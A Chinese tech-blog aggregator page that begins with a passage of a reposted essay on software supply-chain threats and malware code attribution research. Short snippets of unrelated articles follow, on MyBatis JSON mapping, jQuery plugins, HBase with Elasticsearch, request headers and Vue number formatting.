users”也可以认为是这样的一种陷阱,通过浅层次暗示,引导用户做出错误且可能引起问题的配置。另一种情况是特定配置组合情况下触发恶意代码的行为,这种触发条件将使恶意代码具有规避检测的能力,且在用户基数上具有一定概率的用户命中率。当然这种情况由官方开发者直接引入的可能性很低,但是在众包开发的情况下如果存在,那么扫描方案是很难检测的。 Ⅵ. 从逆流到暗流:恶意代码溯源后的挑战 如果说前面所说的种种威胁都是面向关键目标和核心系统应该思考的问题,那么最后要抛出一个会把所有人拉进赛场的理由。除了前面所有那些在软件供应链下游被动污染受害的情况,还有一种情形:你有迹可循的代码,也许在不经意间会“反哺”到黑色产业链甚至特殊武器中;而现在研究用于对程序进行分析和溯源的技术,则会让你陷入百口莫辩的境地。 案例:黑产代码模块溯源疑云 1月29日,猎豹安全团队发布技术分析通报文章《电信、百度客户端源码疑遭泄漏,驱魔家族窃取隐私再起波澜》,矛头直指黑产上游的恶意信息窃取代码模块,认定其代码与两方产品存在微妙的关联:中国电信旗下“桌面3D动态天气”等多款软件,以及百度旗下“百度杀毒”等软件(已不可访问)。 文章中举证有三个关键点。 首先最直观的,是三者使用了相同的特征字符串、私有文件路径、自定义内部数据字段格式; 其次,在关键代码位置,三者在二进制程序汇编代码层面具有高度相似性; 最终,在一定范围的非通用程序逻辑上,三者在经过反汇编后的代码语义上显示出明显的雷同,并提供了如下两图佐证(图片来源): 文章指出的涉事相关软件已经下线,对于上述样本文件的相似度试验暂不做复现,且无法求证存在相似、疑似同源的代码在三者中占比数据。对于上述指出的代码雷同现象,猎豹安全团队认为: 我们怀疑该病毒模块的作者通过某种渠道(比如“曾经就职”),掌握有中国电信旗下部分客户端/服务端源码,并加以改造用于制作窃取用户隐私的病毒,另外在该病毒模块的代码中,我们还发现“百度”旗下部分客户端的基础调试日志函数库代码痕迹,整个“驱魔”病毒家族疑点重重,其制作传播背景愈发扑朔迷离。 这样的推断,固然有过于直接的依据(例如三款代码中均使用含有“baidu”字样的特征注册表项);但更进一步地,需要注意到,三个样本在所指出的代码位置,具有直观可见的二进制汇编代码结构的相同,考虑到如果仅仅是恶意代码开发者先逆向另外两份代码后借鉴了代码逻辑,那么在面临反编译、代码上下文适配重构、跨编译器和选项的编译结果差异等诸多不确定环节,仍能保持二进制代码的雷同,似乎确实是只有从根本上的源代码泄漏(抄袭)且保持相同的开发编译环境才能成立。 但是我们却又无法做出更明确的推断。这一方面当然是出于严谨避免过度解读;而从另一方面考虑,黑产代码的一个关键出发点就是“隐藏自己”,而这里居然如此堂而皇之地照搬了代码,不但没有进行任何代码混淆、变形,甚至没有抹除疑似来源的关键字符串,如果将黑产视为智商在线的对手,那这里背后是否有其它考量,就值得琢磨了。 代码的比对、分析、溯源技术水准 上文中的安全团队基于大量样本和粗粒度比对方法,给出了一个初步的判断和疑点。那么是否有可能获得更确凿的分析结果,来证实或证伪同源猜想呢? 无论是源代码还是二进制,代码比对技术作为一种基础手段,在软件供应链安全分析上都注定仍然有效。在我们的软件供应链安全大赛期间,针对PE二进制程序类型的题目,参赛队伍就纷纷采用了相关技术手段用于目标分析,包括:同源性分析,用于判定与目标软件相似度最高的同软件官方版本;细粒度的差异分析,用于尝试在忽略编译差异和特意引入的混淆之外,定位特意引入的恶意代码位置。当然,作为比赛中针对性的应对方案,受目标和环境引导约束,这些方法证明了可行性,却难以保证集成有最新技术方案。那么做一下预言,在不计入情报辅助条件下,下一代的代码比对将能够到达什么水准? 这里结合近一年和今年内,已发表和未发表的学术领域顶级会议的相关文章来简单展望: ·针对海量甚至全量已知源码,将可以实现准确精细化的“作者归属”判定。在ACM CCS‘18会议上曾发表的一篇文章《Large-Scale and Language-Oblivious Code Authorship Identification》,描述了使用RNN进行大规模代码识别的方案,在圈定目标开发者,并预先提供每个开发者的5-7份已知的代码文件后,该技术方案可以很有效地识别大规模匿名代码仓库中隶属于每个开发者的代码:针对1600个Google Code Jam开发者8年间的所有代码可以实现96%的成功识别率,而针对745个C代码开发者于1987年之后在GitHub上面的全部公开代码仓库,识别率也高达94.38%。这样的结果在当下的场景中,已经足以实现对特定人的代码识别和跟踪(例如,考虑到特定开发人员可能由于编码习惯和规范意识,在时间和项目跨度上犯同样的错误);可以预见,在该技术方向上,完全可以期望摆脱特定已知目标人的现有数据集学习的过程,并实现更细粒度的归属分析,例如代码段、代码行、提交历史。 ·针对二进制代码,更准确、更大规模、更快速的代码主程序分析和同源性匹配。近年来作为一项程序分析基础技术研究,二进制代码相似性分析又重新获得了学术界和工业界的关注。在2018年和2019(已录用)的安全领域四大顶级会议上,每次都会有该方向最新成果的展示,如S&P‘2019上录用的《Asm2Vec: Boosting Static Representation Robustness for Binary Clone Search against Code Obfuscation and Compiler Optimization》,实现无先验知识的条件下的最优汇编代码级别克隆检测,针对漏洞库的漏洞代码检测可实现0误报、100%召回。而2018年北京HITB会议上,Google Project Zero成员、二进制比对工具BinDiff原始作者Thomas Dullien,探讨了他借用改造Google自家SimHash算法思想,用于针对二进制代码控制流图做相似性检测的尝试和阶段结果;这种引入规模数据处理的思路,也可期望能够在目前其他技术方案大多精细化而低效的情况下,为高效、快速、大规模甚至全量代码克隆检测勾出未来方案。 ·代码比对方案对编辑、优化、变形、混淆的对抗。近年所有技术方案都以对代码“变种”的检测有效性作为关键衡量标准,并一定程度上予以保证。上文CCS‘18论文工作,针对典型源代码混淆(如Tigress)处理后的代码,大规模数据集上可有93.42%的准确识别率;S&P‘19论文针对跨编译器和编译选项、业界常用的OLLVM编译时混淆方案进行试验,在全部可用的混淆方案保护之下的代码仍然可以完成81%以上的克隆检测。值得注意的是以上方案都并非针对特定混淆方案单独优化的,方法具有通用价值;而除此以外还有很多针对性的的反混淆研究成果可用;因此,可以认为在采用常规商用代码混淆方案下,即便存在隐藏内部业务逻辑不被逆向的能力,但仍然可以被有效定位代码复用和开发者自然人。 代码溯源技术面前的“挑战” 作为软件供应链安全的独立分析方,健壮的代码比对技术是决定性的基石;而当脑洞大开,考虑到行业的发展,也许以下两种假设的情景,将把每一个“正当”的产品、开发者置于尴尬的境地。 代码仿制 在本章节引述的“驱魔家族”代码疑云案例中,黑产方面通过某种方式获得了正常代码中,功能逻辑可以被自身复用的片段,并以某种方法将其在保持原样的情况下拼接形成了恶意程序。即便在此例中并非如此,但这却暴露了隐忧:将来是不是有这种可能,我的正常代码被泄漏或逆向后出现在恶意软件中,被溯源后扣上黑锅? 这种担忧可能以多种渠道和形式成为现实。 从上游看,内部源码被人为泄漏是最简单的形式(实际上,考虑到代码的完整生命周期似乎并没有作为企业核心数据资产得到保护,目前实质上有没有这样的代码在野泄漏还是个未知数),而通过程序逆向还原代码逻辑也在一定程度上可获取原始代码关键特征。 从下游看,则可能有多种方式将恶意代码伪造得像正常代码并实现“碰瓷”。最简单地,可以大量复用关键代码特征(如字符串,自定义数据结构,关键分支条件,数据记录和交换私有格式等)。考虑到在进行溯源时,分析者实际上不需要100%的匹配度才会怀疑,因此仅仅是仿造原始程序对于第三方公开库代码的特殊定制改动,也足以将公众的疑点转移。而近年来类似自动补丁代码搜索生成的方案也可能被用来在一份最终代码中包含有二方甚至多方原始代码的特征和片段。 基于开发者溯源的定点渗透 既然在未来可能存在准确将代码与自然人对应的技术,那么这种技术也完全可能被黑色产业利用。可能的忧患包括强针对性的社会工程,结合特定开发者历史代码缺陷的漏洞挖掘利用,联动第三方泄漏人员信息的深层渗透,等等。这方面暂不做联想展开。 〇. 没有总结 作为一场旨在定义“软件供应链安全”威胁的宣言,阿里安全“功守道”大赛将在后续给出详细的分解和总结,其意义价值也许会在一段时间之后才能被挖掘。 但是威胁的现状不容乐观,威胁的发展不会静待;这一篇随笔仅仅挑选六个侧面做摘录分析,可即将到来的趋势一定只会进入更加发散的境地,因此这里,没有总结。 本篇文章为转载内容。原文链接:https://blog.csdn.net/systemino/article/details/90114743。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-02-05 13:33:43
300
转载
MyBatis
... 接下来,为实体类定义一个对应的 toString() 方法,使其自动生成 JSON 字符串: java public class User { private String id; private String name; // getters and setters @Override public String toString() { return new Gson().toJson(this); } } 然后在 MyBatis 的 XML 映射文件中使用 语句,并设置其 resultType 为 String 类型,配合 toString() 方法即可得到 JSON 数据:xml SELECT FROM user WHERE id = {id} 通过这种方式,MyBatis 会调用用户自定义的 toString() 方法生成对应的 JSON 字符串。 2. 自定义类型处理器(TypeHandler) 然而,如果我们想要更灵活地控制数据转换过程,或者映射包含嵌套的对象结构,可以考虑自定义类型处理器。这里以 Jackson 为例,创建一个继承自 org.apache.ibatis.type.TypeHandler 的 UserToJsonTypeHandler 类: java import com.fasterxml.jackson.databind.ObjectMapper; import org.apache.ibatis.type.BaseTypeHandler; import org.apache.ibatis.type.JdbcType; import org.apache.ibatis.type.MappedTypes; @MappedTypes(User.class) public class UserToJsonTypeHandler extends BaseTypeHandler { private static final ObjectMapper OBJECT_MAPPER = new ObjectMapper(); @Override public void setNonNullParameter(PreparedStatement ps, int i, User parameter, JdbcType jdbcType) throws SQLException { ps.setString(i, OBJECT_MAPPER.writeValueAsString(parameter)); } @Override public User getNullableResult(ResultSet rs, String columnName) throws SQLException { String jsonString = rs.getString(columnName); return OBJECT_MAPPER.readValue(jsonString, User.class); } @Override public User getNullableResult(ResultSet rs, int columnIndex) throws SQLException { // ... (类似地处理其他获取方式) } @Override public User getNullableResult(CallableStatement cs, int columnIndex) throws SQLException { // ... (类似地处理其他获取方式) } } 在配置文件中注册这个自定义类型处理器: xml INSERT INTO user (json_data) VALUES (?) SELECT json_data FROM user WHERE id = {id} 现在,User 对象可以直接插入和查询为 JSON 字符串形式,而不需要手动调用 toString() 方法。 四、总结与讨论 通过本篇文章的学习,我们可以了解到 MyBatis 在默认情况下并不直接支持实体类与 JSON 数据的自动转换。不过,要是我们借助一些好用的第三方JSON工具,比如Jackson或者Gson,再配上自定义的类型处理器,就能超级灵活、高效地搞定这种复杂的数据映射难题啦,就像变魔术一样神奇!在我们实际做开发的时候,就得瞅准业务需求,挑那个最对味的解决方案来用。而且啊,你可别忘了把 MyBatis 的其他功能也玩得溜溜转,这样一来,你的应用性能就能噌噌往上涨,开发效率也能像火箭升空一样蹭蹭提升。同时呢,掌握并实际运用这些小技巧,也能让你在面对其他各种复杂场景下的数据处理难题时,更加游刃有余,轻松应对。
2024-02-19 11:00:31
75
海阔天空-t
JQuery插件下载
...的核心功能在于它能够实现输入字段提示信息的动画效果。当用户点击或聚焦于某个输入框时,原本作为占位符显示的文字将随着动画缓缓上升,从而为用户提供清晰的输入指引。这种设计不仅使得表单看起来更加生动有趣,同时也提高了用户体验,让用户更直观地理解每个输入框的作用。此插件易于集成,支持自定义样式设置,你可以轻松调整动画的速度、颜色等属性以匹配你网站的整体风格。此外,它与所有主流浏览器兼容,确保了跨平台的一致性表现。通过使用这款插件,你的网站表单将变得更加友好和专业,无疑会提升用户的满意度和互动率。无论是注册表单、搜索框还是其他任何形式的输入区域,这款jQuery插件都能为你的项目增添一抹亮色。 点我下载 文件大小:36.46 KB 您将下载一个JQuery插件资源包,该资源包内部文件的目录结构如下: 本网站提供JQuery插件下载功能,旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容,请立即告知我们,我们将迅速响应并删除相关内容。 免责声明:站内所有资源仅供个人学习研究及参考之用,严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果,由使用者承担责任。
2025-01-13 21:29:59
44
本站
JQuery插件下载
...Script代码即可实现强大的表单验证功能。它支持各种常见的验证需求,包括但不限于非空检查、邮箱格式验证、URL格式验证、数字范围限制以及自定义正则表达式验证等。通过使用bootstrap-validator,开发者能够轻松地对输入字段进行即时反馈,从而提升用户体验。当用户填写表单时,插件会实时检查输入内容是否符合预设的规则,并通过视觉提示(如颜色变化或图标)来告知用户哪些字段需要修正。这种即时反馈机制有助于减少提交无效数据的情况,确保数据的一致性和准确性。此外,bootstrap-validator还提供了丰富的定制选项,允许开发者根据项目需求调整验证行为和样式。无论是改变错误消息的颜色、位置,还是添加额外的验证条件,都可以通过简单的配置来实现。这使得插件不仅易于上手,而且高度灵活,能够适应不同场景下的开发需求。总之,bootstrap-validator凭借其简洁的API、强大的功能以及良好的兼容性,成为Bootstrap框架下处理表单验证的理想选择。对于希望快速构建高效、美观表单的应用来说,它无疑是一个值得尝试的优秀工具。_ 点我下载 文件大小:43.62 KB 您将下载一个JQuery插件资源包,该资源包内部文件的目录结构如下: 本网站提供JQuery插件下载功能,旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容,请立即告知我们,我们将迅速响应并删除相关内容。 免责声明:站内所有资源仅供个人学习研究及参考之用,严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果,由使用者承担责任。
2025-02-05 10:46:18
38
本站
HBase
...d,它甚至可以是几个字段组成的一个有限长度的字符串,比如“zhangsan-18-beijing”都是可以的。 但是,hbase不能带有其它的filter,比如你要过滤age<18,虽然可以使用hbase的一些协处理器实现,但性能会十分让你惊讶。性能是不好的。 所以,如果你的查询能够抽象为有意义的rowkey,那直接用hbase存储和查询是没有问题的。而且要注意rowkey的长度和散列,太长的rowkey会带来性能的损失,不具备散列特性的rowkey会带来热点问题。 5 自定义过滤下的hbase 从本篇文章的第一小节可以看到,极好的一列出现了三位选手:hbase、redis和elasticsearch 大数据情况下,或海量数据场景下,咱就先让redis休个假吧。如果你的数据较为海量,使用elasticsearch+hbase的搜索存储架构是非常好的选择。 这里引用阿里云的一篇文章:https://developer.aliyun.com/article/941191 6 总结 只有点查的场景,你只需要使用hbase。 只有搜索的场景,其实你完全可以只使用elasticsearch。 但当数据量不断扩大,而且参数搜索的字段可能只是所有字段的一部分,你不妨使用elasticsearch+hbase架构。搜索字段放elasticsearch,需要拿出来数据计算或展示的字段放hbase。各司其职,索引库+存储库分离。 索引库+存储库这个思想也不是为elasticsearch+hbase特定准备的,比如索引库你可以替换为lucene或solr,存储库可以替换为casandra或berkeleydb等都是可以的。任意两个组件都可以组合。
2024-01-27 18:28:18
556
admin-tim
转载文章
...horization字段中以验证用户身份。如同文章示例中的sso_token,它是实现单点登录(SSO)的关键环节,确保了服务端能够识别并信任发起请求的客户端。 此外,随着JSON Web Tokens (JWT) 的广泛应用,请求头中的Authorization常用于传递经过签名的JSON令牌,实现无状态、安全的身份验证。而Accept头部则用来指示服务器返回数据的格式,如本文所展示的"application/json; charset=utf-8",确保客户端能正确解析响应内容。 最近,Fetch API逐渐替代传统的XMLHttpRequest成为前端异步通信的新标准。在使用Fetch时,设置请求头的方式略有不同,但原理相似,例如: javascript fetch(base_path + 'aa/getList', { method: 'GET', headers: new Headers({ 'Accept': 'application/json; charset=utf-8', 'Authorization': 'Bearer ' + jwtToken }) }) .then(response => response.json()) .catch(error => console.error('Error:', error)); 因此,无论是jQuery的$.ajax还是原生Fetch API,对请求头的精准控制都是提升应用性能、保证数据安全、优化用户体验的重要手段。随着HTTP/2和HTTP/3协议的推广,未来可能还会出现更多针对请求头的优化策略和技术实践,值得广大开发者关注和学习。
2023-09-09 19:34:00
62
转载
VUE
...00.00 当你需要自定义千位分隔符或数目时,Vue的计算字段可以发挥作用。下面的代码将数字变为金额格式,并允许您在千位分隔符和小数位数间输出。 computed: { formattedAmount() { let amount = this.amount.toString().replace(/\B(?=(\d{3})+(?!\d))/g, ","); return "$" + amount + (this.decimals ? "." + this.decimals : ""); } } 在这个计算字段中,我们先将数字变为字符串,然后使用正则表达式来添加千位符号。最后我们将金额符号和小数位添加到字符串结尾。 最后,我们可以将计算字段用于模板中: { { formattedAmount } } 上面的代码将会输出格式化后的金额金额。 千位分隔符对一些项目来说是必需品。Vue提供了很多方便的工具使得我们能够轻松地将数字变为金额格式。
2023-12-25 14:14:35
46
电脑达人
站内搜索
用于搜索本网站内部文章,支持栏目切换。
知识学习
实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
xargs -I{} command {} < list_of_files.txt
- 使用文件列表作为参数执行命令。
推荐内容
推荐本栏目内的其它文章,看看还有哪些文章让你感兴趣。
2023-04-28
2023-08-09
2023-06-18
2023-04-14
2023-02-18
2023-04-17
2024-01-11
2023-10-03
2023-09-09
2023-06-13
2023-08-07
2023-03-11
历史内容
快速导航到对应月份的历史文章列表。
随便看看
拉到页底了吧,随便看看还有哪些文章你可能感兴趣。
时光飞逝
"流光容易把人抛,红了樱桃,绿了芭蕉。"